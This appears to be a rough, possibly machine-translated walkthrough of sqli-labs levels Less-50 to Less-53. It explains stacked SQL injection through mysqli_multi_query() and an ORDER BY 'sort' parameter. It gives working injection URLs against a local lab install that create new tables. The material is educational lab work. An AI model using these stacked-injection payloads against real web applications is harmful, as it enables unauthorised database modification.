Less-50
Execute SQL statement We use the Mysqli_multi_query () function here, and we used the Mysqli_query (), the difference is that mysqli_multi_query () can execute multiple SQL statements, and Mysqli_ Query () executes only one SQL statement, so we can execute multiple SQL statements here to inject, which is the statcked injection we mentioned earlier.
Here we use the method is still feasible, we do not repeat here, look at the stacked injection.
We construct payload directly:
Http://127.0.0.1/sqli-labs/Less-50/index.php?sort=1;create%20table%20less50%20like%20users
To create a LESS50 table
We've been through this before. the process of stacked injection is not explained in detail here.
Less-51
The SQL statement for this pass is $sql = "SELECT * from the Users ORDER by ' $id '";
We're going to do stacked injection here, to comment out ' , the payload is given here:
http://127.0.0.1/sqli-labs/Less-51/index.php?sort=1%27;create%20table%20less51%20like%20users--+
Create a table Less51
Less-52
And Less50 is the same, but here the MySQL error will not be displayed in the foreground, but for stacked injection is the same way to use
Http://127.0.0.1/sqli-labs/Less-52/index.php?sort=1;create%20table%20less52%20like%20users
Less-53
And Less51 is the same, but here the MySQL error will not be displayed in the foreground, but for stacked injection is the same way to use
http://127.0.0.1/sqli-labs/Less-53/index.php?sort=1%27;create%20table%20less53%20like%20users--+
less50-54 stacked injection after order by